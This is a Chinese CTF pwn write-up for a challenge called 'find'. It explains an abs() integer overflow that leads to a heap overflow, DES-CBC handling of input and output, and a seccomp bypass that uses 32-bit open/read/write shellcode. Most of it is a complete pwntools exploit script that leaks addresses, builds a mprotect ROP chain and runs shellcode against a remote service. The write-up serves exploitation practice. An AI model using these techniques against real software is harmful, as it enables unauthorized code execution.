find

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目描述

题目考点

解题思路

漏洞点利用了abs()函数本身存在的漏洞缺陷,当输入的是0x80000000的时候,会导致整数溢出,进而导致堆溢出。

考察了加解密知识,对于输入输出进行了DES_CBC加解密转换,需要掌握des_CBC加解密方法才能正常获取输入输出。

设置了seccomp限制了system execve函数的利用,也就是说劫持got表的方式不可用,并且禁用了open函数,

对于seccomp函数理解不深刻pwn手来说,便以为不能利用open read wirte 的shellcode来读取shellcode了。

但其实我只是禁用了64位的open函数,32位的open函数仍可以利用,因此我们写32位的shellcode利用open read write来读取flag。

具体方式就是劫持stack,利用rop链执行mprotect函数赋予执行权限,然后跳转到shellcode执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from PwnContext import *
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
from pyDes import *
from binascii import b2a_hex, a2b_hex
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn'
ctx.remote = ("62.234.32.102", 10000)
def add(idx,size):
sla('ice',0)
sla('where would you like to put',idx)
sla('how long do your want to input',size)

def delete(idx):
sla('ice',1)
sla('which one do you want to delete',idx)

def show(idx):
sla('ice',2)
sla('which one do you want to show',idx)
ru('is :\n')

def edit(idx,content):
sla('ice',3)
sla('which one do you want to change',idx)
sa('now you can change your diary',content)

def change(idx,content):
sla('ice',4)
sa('index',idx)
sa('IV',content)

def read_shellcode():
ascii = ""
with open('shellcode','r') as f:
data = f.readlines()
data = data[0]
data = str(data)[1:-2]
odom = data.split(',')
ascii = map(int,odom)
#return ascii
x86_shellcode = ""
for i in range(len(ascii)):
x86_shellcode += chr(ascii[i])
return x86_shellcode
def decrypto_data(data):
with open('cipher','w') as f:
f.write(data)
payload = './cbc '
os.system(payload)
sleep(1)
cleartext = ""
with open('plain','r') as f:
cleartext = f.read(8)
return cleartext
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

rs('remote')
KEY = "\0\0\0\0\0\0\0\0"
IV = "\0\0\0\0\0\0\0\0"
k = des(KEY, CBC, IV, pad=None, padmode=PAD_PKCS5)

ru('gift :')
heap_leak = int(r(4),16)

#leak libc
add(0,0x38)
add(1,0x38)
add(2,0x38)
add(3,0x38)
add(4,0x38)
add(15,0x38)
change(0x80000000,'\x00'+chr(heap_leak+1)+'\n')
edit(15,p64(0xc1)*2+'\n')
delete(0)
add(5,0x38)
show(1)
data = decrypto_data(r(8))
libc = uu64(data[:6])
#print hexdump(data)
libc_base = libc - 0x3c4be8
#dbg()
print 'libc_base = ' + hex(libc_base)
#leak stack
environ = libc_base + 0x3c6f38
print 'environ = ' + hex(environ)
change(0x80000000,p64(environ)+'\n')
#dbg()
show(15)
data = decrypto_data(r(8))
stack = uu64(data[:6])
main_ret = stack - 0xf0
print 'main_ret : ' + hex(main_ret)
libc_leak_heap = libc_base + 0x3c4b80

#leak heap
change(0x80000000,p64(libc_leak_heap)+'\n')
#dbg()
show(15)
data = decrypto_data(r(8))
heap_base = uu64(data[:4]) - 0x140

print 'heap_base : ' + hex(heap_base)
lg('heap_base',heap_base)
#raw_input()

#get shell
#dbg()
edit(4,'./flag/asdad/wer/po/tr/flag\n')
# edit(4, './flag.txt\n')
payload = 'python shellcode.py '+str(heap_base)
os.system(payload)
shellcode = read_shellcode()
pop_rdx = libc_base + 0x1b92
pop_rsi = libc_base + 0x202f8
pop_rdi = 0x021112 + libc_base
mprotect = 0x101830 + libc_base
change(0x80000000,p64(main_ret)+'\n')
payload = p64(pop_rdi) + p64(heap_base) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
edit(15,payload)
change(0x80000000,p64(main_ret+0x38)+'\n')
edit(15,p64(heap_base+0x150)+'\n')
#dbg()
edit(1,shellcode[:0x20]+'\n')
change(0x80000000,p64(heap_base+0x170)+'\n')
#dbg()
edit(15,shellcode[0x20:]+'\n')
#dbg()
sla('ice',5)
irt()

还有一个点是flag的位置,如果直接执行cat flag拿到的是假flag,需要自己探测flag目录。 shellcode,DES_CBC加解密,查找flag的脚本【也可以手动】就不放了 自己尝试。